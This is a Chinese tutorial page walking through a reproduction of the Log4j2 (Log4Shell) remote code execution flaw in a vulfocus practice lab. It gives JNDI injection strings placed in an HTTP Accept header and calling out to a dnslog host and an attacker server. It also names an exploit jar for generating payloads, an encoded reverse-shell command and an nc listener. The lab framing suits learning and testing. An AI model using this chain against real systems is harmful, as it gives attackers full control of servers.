Java教程

Log4j2远程命令执行复现

本文主要是介绍Log4j2远程命令执行复现,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

Log4j2远程命令执行复现

  • Log4j2远程命令执行复现
    • 一、漏洞环境
    • 二、漏洞验证
    • 三、反弹shell

一、漏洞环境

环境是http://vulfocus.fofa.so平台的

image-20211212223000457

二、漏洞验证

启动环境后访问

抓包,修改请求为post

image-20211212223158292

在数据中的Accept:头插入exp

${jndi:ldap://8hqrxz.dnslog.cn}

成功回显到dnslog平台

三、反弹shell

使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 生成payload

可以在这里下载:https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

使用该网址加密反弹shell命令:https://www.jackson-t.ca/runtime-exec-payloads.html

image-20211211174047188

然后生成payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "服务器ip" -C "命令"

image-20211212224248945

服务器开启监听7777端口nc -lvnp 7777

再在Accept:头插入${jndi:rmi://服务器ip:端口/xxx} xxx为生成的exp

fuzz一下即可,也可能是其他的exp

image-20211212223744897

服务器端的ldap回显正常,此时已经反弹shell成功

image-20211212223900776

这篇关于Log4j2远程命令执行复现的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!